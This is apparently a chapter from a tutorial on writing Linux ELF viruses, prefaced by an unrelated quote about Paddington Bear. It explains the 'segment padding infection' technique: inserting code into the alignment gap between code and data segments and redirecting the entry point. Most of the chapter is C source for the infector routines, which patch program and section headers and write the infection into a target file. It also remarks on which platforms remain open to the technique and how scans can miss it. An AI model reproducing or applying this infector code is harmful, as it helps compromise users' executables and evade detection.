I am extremely surprised and pleased. I'm surprised because as far as I am concerned I have always done what I wanted to do and followed my own way. Really, the honor has as much to do with Paddington as myself. | |
Michael Bond, creator of "Paddington Bear", on receiving an OBE |
This infection method got a lot of press under the name Remote shell trojan. It is based on a peculiarity described in the platform specific part, Segment padding infection[ABC]. On i386 its future is bleak. It seems that the gap is being actively closed. On Slackware 8.1 and Red Hat 8.0 /bin/bash is not vulnerable anymore. On other platforms the gap is much larger and will probably remain.
Table 1. Platform specific defaults of ELF
Platform | Address size | Byte order | Base address | _SC_PAGESIZE | Alignment | Pages below base |
---|---|---|---|---|---|---|
alpha | 64 | L | 120000000 | 2000 | 10000 | 589824 |
i386 | 32 | L | 08048000 | 1000 | 1000 | 32840 |
sparc | 32 | M | 00010000 | 1000 | 10000 | 16 |
_SC_PAGESIZE is a hardware constant and nothing a compiler can choose. On the other hand column "Alignment" varies from challengingly tiny to exceedingly large. A quote from the ELF specification (values are specific to i386): [4]
[…] executable and shared object files must have segment images whose file offsets and virtual addresses are congruent, modulo the page size. Virtual addresses and file offsets for the SYSTEM V architecture segments are congruent modulo 4 KB (0x1000) or larger powers of 2. Because 4 KB is the maximum page size, the files will be suitable for paging regardless of physical page size. […]
This means that for every segment the last three hexadecimal digits of Offset equal the last three hexadecimal digits of VirtAddr in every healthy output of readelf and objdump. So unless we change VirtAddr as well - which means enormous trouble like relocation of every access to a global variable - we are stuck with allocating memory in chunks of _SC_PAGESIZE.
getpagesize(2) sounds like the obvious way to retrieve this value. But not all systems have it, and modern standards prefer sysconf(3) instead.
Source: src/segment_padding/sysconf.c
#include <stdio.h>
#include <unistd.h>
#define QUERY(n) { #n, n }
struct Query { const char* name; int key; } Query[] =
{
QUERY(_SC_CLK_TCK),
QUERY(_SC_VERSION),
QUERY(_SC_PAGESIZE),
#ifdef __linux__
QUERY(_SC_PHYS_PAGES),
QUERY(_SC_AVPHYS_PAGES),
#endif
{ 0, 0 }
};
int main()
{
const struct Query* q = Query;
for(; q->name != 0; q++)
printf("%s=%ld\n", q->name, sysconf(q->key));
return 0;
} |
Obviously the output is platform dependent, see Segment padding infection[ABC]. The lesson to learn is that Using free space resulting from alignment is problematic on i386 but comfortable on other platforms.
Insert our code between code segment and data segment.
Modify inserted code to jump to original entry point afterwards.
Change entry point to start of our code.
Modify program header
Include increased amount of code in entry of code segment.
Move all following entries down the file.
Modify section header
Include trailing code in last section of code segment (should be .rodata).
Move all following sections down the file.
This setup has a few problems.
Storage can be acquired only in multiples of _SC_PAGESIZE. This makes the increment in file size of the target quite noticeable.
Code size is limited. On i386 the segment alignment equals the page size, so we rely on a the existence of a strange extra gap to get a maximum of one page. On other platforms the alignment is much larger, so we have a good chance to get at least one page even without the extra gap.
Maximum code size is further restricted by code alignment. The i386 and descendants can execute misaligned code, though with a performance penalty; and this can be detected at run time by the operating system. Other hardware does not allow it at all.
On i386 infected executables will be detected by Scan segments. Unfortunately this crude method cannot tell whether the gap was never there or is really occupied by an infection.
Source: src/segment_padding/new_entry_addr.inc
TEVWH_ELF_OFF target_new_entry_addr(const Target* t)
{
TRACE_DEBUG(-1, "target_new_entry_addr\n");
/* matches with aligned_end_of_cs */
return ALIGN_UP(t->phdr_code->p_vaddr + t->phdr_code->p_filesz);
} |
Source: src/segment_padding/patch_phdr.inc
bool target_patch_phdr(Target* t)
{
TEVWH_ELF_PHDR* phdr_code;
size_t delta; /* distance between code and data segment (in memory) */
TEVWH_ELF_OFF end_of_cs;
TEVWH_ELF_PHDR* phdr;
unsigned nr;
TRACE_DEBUG(-1, "target_patch_phdr\n");
phdr_code = t->phdr_code;
delta = phdr_code[1].p_vaddr - phdr_code[0].p_vaddr - phdr_code[0].p_memsz;
CHECK(DEBUG, TEVWH_ELF_PAGE_SIZE, <, delta);
phdr_code[0].p_filesz += TEVWH_ELF_PAGE_SIZE;
phdr_code[0].p_memsz += TEVWH_ELF_PAGE_SIZE;
end_of_cs = t->end_of_cs;
phdr = t->phdr;
for(nr = t->image.ehdr->e_phnum; nr > 0; nr--, phdr++)
{
/* ">=" instead of ">" is necessary at least on sparc-suse7.3 */
if (phdr->p_offset >= end_of_cs)
phdr->p_offset += TEVWH_ELF_PAGE_SIZE;
}
return true;
} |
Source: src/segment_padding/patch_shdr.inc
bool target_patch_shdr(Target* t)
{
TEVWH_ELF_SHDR* shdr;
TEVWH_ELF_OFF end_of_cs;
unsigned nr;
TRACE_DEBUG(-1, "target_patch_shdr\n");
shdr = (TEVWH_ELF_SHDR*)(t->image.b + t->image.ehdr->e_shoff);
end_of_cs = t->end_of_cs;
for(nr = t->image.ehdr->e_shnum; nr > 0; nr--, shdr++)
{
if (shdr->sh_offset >= end_of_cs)
{
/* move all following sections down */
shdr->sh_offset += TEVWH_ELF_PAGE_SIZE;
}
else if (shdr->sh_offset + shdr->sh_size == end_of_cs)
{
/* increase length of last section of code-segment (.rodata) */
shdr->sh_size += TEVWH_ELF_PAGE_SIZE;
}
}
t->image.ehdr->e_shoff += TEVWH_ELF_PAGE_SIZE;
return true; /* this implementation can't fail */
} |
Source: src/segment_padding/copy_and_infect.inc
bool target_copy_and_infect(Target* t, size_t* code_size)
{
TRACE_DEBUG(-1, "target_copy_and_infect\n");
/* first part of original target */
CHECK_WRITE(t->image.b, t->end_of_cs);
TRACE_DEBUG(-1, "end_of_cs=%08x aligned_end_of_cs=%08x\n",
t->end_of_cs, t->aligned_end_of_cs);
CHECK_LSEEK(t->aligned_end_of_cs, SEEK_SET);
if (!target_write_infection(t, code_size))
return false;
CHECK_LSEEK(t->end_of_cs + TEVWH_ELF_PAGE_SIZE, SEEK_SET);
/* rest of original target */
CHECK_WRITE(t->image.b + t->end_of_cs, t->filesize - t->end_of_cs);
return true;
} |